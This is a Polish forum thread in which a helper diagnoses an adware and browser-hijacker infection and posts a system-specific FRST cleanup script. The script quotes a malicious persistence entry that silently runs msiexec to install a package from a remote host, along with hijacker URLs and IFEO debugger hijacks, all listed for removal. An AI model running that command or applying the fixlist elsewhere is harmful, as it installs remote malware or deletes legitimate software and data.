"Syf" systemie i przeglądarkach

mortis4321 · 30 Maja 2017

Znajoma podrzuciła mi kompa z jak to sama stwierdziła jakimś syfem. Skrót Chrome wskazuje na "C:\Program Files (x86)\Hotleaf\Application\chrome.exe" (nie uruchamiałem tego, także nie wiem co się stanie) w Firefox strona główna to:

http://www.searchinme.com//?type=nt&ts=1495716016055&z=959dd701bac83c1f3a4928dg0z7t3w3gcgag8c0zcm&from=official&uid=ST1000LM014-SSHD-8GB_W772XDYDXXXXW772XDYD

i oczywiście nie można jej zmienić. Dodatkowo podobno zdarza się, że otwiera się kilkanaście linków (nie udało mi się zreplikować tego zachowania)

Jakiś czas temu był podobno uruchamiany adwCleaner i podobno coś znalazł i na chwilę pomógł ale po paru dniach objawy wróciły.

Załączam skany (GMER wykonany z zaznaczonymi wszystkimi opcjami ale nie mogłem zaznaczyć dysku C tylko zostało "quick scan" - przy próbie zmiany program nie kończył skanowania albo cały windows dostawał blue screena):

EDIT: Załączam dodatkowy plik. Dodatkowo małe sprostowanie, stron startowa jest jednak prawidłowa, ale każda nowo otwierana zakładka zawiera adres "searchinme"

Miszel03 · 31 Maja 2017

Dwie fałszywki: pod Google Chrome (lecz tutaj brak zainstalowanego oryginału przeglądarki) i pod Mozilla FireFox. Po za tym widać również wpisy startowe na powłoce i w Harmonogramie zadań uruchamiające różne strony, a plik Hosts został szkodliwe zmodyfikowany.

Za pomoc oczekuję, że przeczytasz lekturę na temat zabezpieczenia się pod takimi sytuacjami: Portale z oprogramowaniem / Instalatory - na co uważać.

1. Przez panel sterowania odinstaluj:

Adware / PUP: AlphaGo.
Fałszywe oprogramowanie zabezpieczające: YAC(Yet Another Cleaner!).

2. Otwórz Notatnik w nim wklej:

CloseProcesses:
CreateRestorePoint:
Task: {0BBC3407-63A7-4024-8D87-2C8F66C78D92} - \PowerWord-SCT-JT -> Brak pliku Task: {CDFEB964-06FE-47B9-A5BE-A0CC5F3B3636} - \Windows-WoShiBeiYongDe -> Brak pliku C:\Users\BD\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
RemoveDirectory: C:\Program Files (x86)\Hotleaf
RemoveDirectory: C:\Users\BD\AppData\Local\Hotleaf
RemoveDirectory: C:\Users\BD\AppData\Roaming\Hotleaf
FirewallRules: [{153D5063-7879-460C-A56D-AB1A5629D961}] => (Allow) C:\Program Files (x86)\Hotleaf\Application\chrome.exe
FirewallRules: [{1CCACA35-7A3C-4772-84A9-638AB306BF36}] => (Allow) C:\Program Files (x86)\Firefox\Firefox.exe
FirewallRules: [{9D45CE1D-2C50-41A7-915F-78DD6CF0ACC3}] => (Allow) C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe
RemoveDirectory: C:\Program Files (x86)\Firefox
RemoveDirectory: C:\Users\BD\AppData\Local\Firefox
RemoveDirectory: C:\Users\BD\AppData\Roaming\Firefox
HKU\S-1-5-21-247650637-2128827155-1350483122-1001\...\Policies\system: [shell] explorer.exe,msiexec.exe /i http://point.orangeiloveyou.com/?data=zDlkMj82RYZLNjzQOWIcNWqdRTVSF8VSFkM5FkIcMWk5FdI3MF== /q
IFEO\DisplaySwitch.exe: [Debugger]
IFEO\GoogleUpdate.exe: [Debugger] 324095823984.exe
IFEO\GoogleUpdaterService.exe: [Debugger] 8736459873644.exe
IFEO\taskmgr.exe: [Debugger]
ShellIconOverlayIdentifiers: [00asw] -> {472083B0-C522-11CF-8763-00608CC02F24} => -> Brak pliku
ShellIconOverlayIdentifiers: [00avast] -> {472083B0-C522-11CF-8763-00608CC02F24} => -> Brak pliku
ShellIconOverlayIdentifiers: [00avg] -> {472083B0-C522-11CF-8763-00608CC02F24} => -> Brak pliku
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page =
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page =
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page =
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page =
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL =
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL =
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL =
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL =
Edge HomeButtonPage: HKU\S-1-5-21-247650637-2128827155-1350483122-1001 -> hxxp://www.ourluckysites.com/?type=hp&ts=1493719012&z=cb9aa0b8f138258742938bdg4zftfcdmdg6t9eageg&from=ypid&uid=ST1000LM014-SSHD-8GB_W772XDYDXXXXW772XDYD
R2 ibtsiva; %SystemRoot%\system32\ibtsiva [X]
S3 dbx; system32\DRIVERS\dbx.sys [X]
2017-05-24 14:29 - 2017-05-24 14:29 - 00000042 _____ C:\WINDOWS\SysWOW64\GZ
2017-05-24 14:29 - 2017-05-24 14:29 - 00000000 _____ C:\WINDOWS\SysWOW64\3333333
2017-05-24 14:29 - 2017-05-24 14:29 - 00000000 _____ C:\WINDOWS\SysWOW64\1111111
2017-05-18 14:38 - 2017-05-24 14:29 - 00000000 _____ C:\WINDOWS\SysWOW64\00
2017-05-10 12:25 - 2017-05-10 12:25 - 00000000 _____ C:\WINDOWS\SysWOW64\1
2017-05-09 13:54 - 2017-05-24 14:29 - 00000000 _____ C:\WINDOWS\SysWOW64\1111
2017-05-25 09:25 - 2017-04-25 22:05 - 00000000 ____D C:\Program Files (x86)\BiaoJi
2017-05-05 14:59 - 2017-05-05 14:59 - 00000000 ____D C:\WINDOWS\psgo
RemoveDirectory: C:\Program Files (x86)\MIO
C:\Users\BD\Desktop\Outlook 2016.lnk
C:\Users\BD\AppData\Roaming\Microsoft\Word\Nowy%20Dokument%20programu%20Microsoft%20Word305945570761120801\Nowy%20Dokument%20programu%20Microsoft%20Word.docx.lnk
C:\Users\BD\AppData\Roaming\Microsoft\Windows\SendTo\Android (ALLPlayer Pilot).lnk
C:\Users\BD\AppData\Roaming\Microsoft\Excel\TB-07_401A-412A305951521776555499\TB-07_401A-412A.DBF.lnk
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
C:\Users\BD\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk
C:\Users\Public\Desktop\Mozilla Firefox.lnk
C:\Program Files (x86)\Google
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome
C:\Users\BD\AppData\Local\Google
DeleteKey: HKCU\Software\Google
DeleteKey: HKLM\SOFTWARE\Google
DeleteKey: HKLM\SOFTWARE\Wow6432Node\Google
Hosts:
EmptyTemp:

Adnotacja dla innych czytających: skrypt unikatowy - dopasowany tylko i wyłącznie pod ten system, proszę nie stosować na swoich systemach.

Plik zapisz pod nazwą fixlist.txt w folderze z którego uruchamiasz FRST. Uruchom FRST i kliknij w Napraw (Fix). Czekaj cierpliwie, nie przerywaj działania. Gdy Fix ukończy pracę, nastąpi restart systemu. W tym samym katalogu skąd uruchamiano FRST powstanie plik fixlog.txt.

3. Wyczyść i zabezpiecz przeglądarkę Mozilla FireFox:

Odłącz synchronizację (o ile włączona): KLIK.
Menu Pomoc > Informacje dla pomocy technicznej > Odśwież program Firefox. Zakładki i hasła nie zostaną naruszone.
Menu Historia > Wyczyść historię przeglądania.
Zainstaluj rozszerzenie blokujące reklamy o podłożu nieinfekcyjnym, polecam rozszerzenie uBlock Origin.
Ustaw tą przeglądarkę jako domyślną, aby cofnąć modyfikację infekcji.

4. Pobierz AdwCleaner uruchom go i kliknij Skanuj, kiedy skanowanie zakończy się wydobądź z niego raport, znajduję się on w folderze C:\AdwCleaner. Raport zaprezentuj na forum.

5. Uruchom FRST, w polu Szukaj (Search) wklej poniższą frazę i kliknij w Szukaj w rejestrze (Search Registry).

hotleaf;firefox;biaoJi

Obok FRST powstanie raport SearchReg.txt - zaprezentuj go na forum.

6. Zrób nowy log FRST z opcji Skanuj (Scan), wraz z Addition i Shortcut. Dołącz też plik fixlog.txt.

Edytowane 1 Czerwca 2017 przez Rucek

mortis4321 · 31 Maja 2017

YAC się odinstalował, jednak przy próbie odinstalowania AlphaGo pojawia się komunikat jak z załącznika.

Żadnych pozostałych kroków nie wykonywałem, ale BTW czy w punkcie nr 2 nie brakuje jakiejś dodatkowej instrukcji co zrobić z takim zapisanym w notatniku plikiem?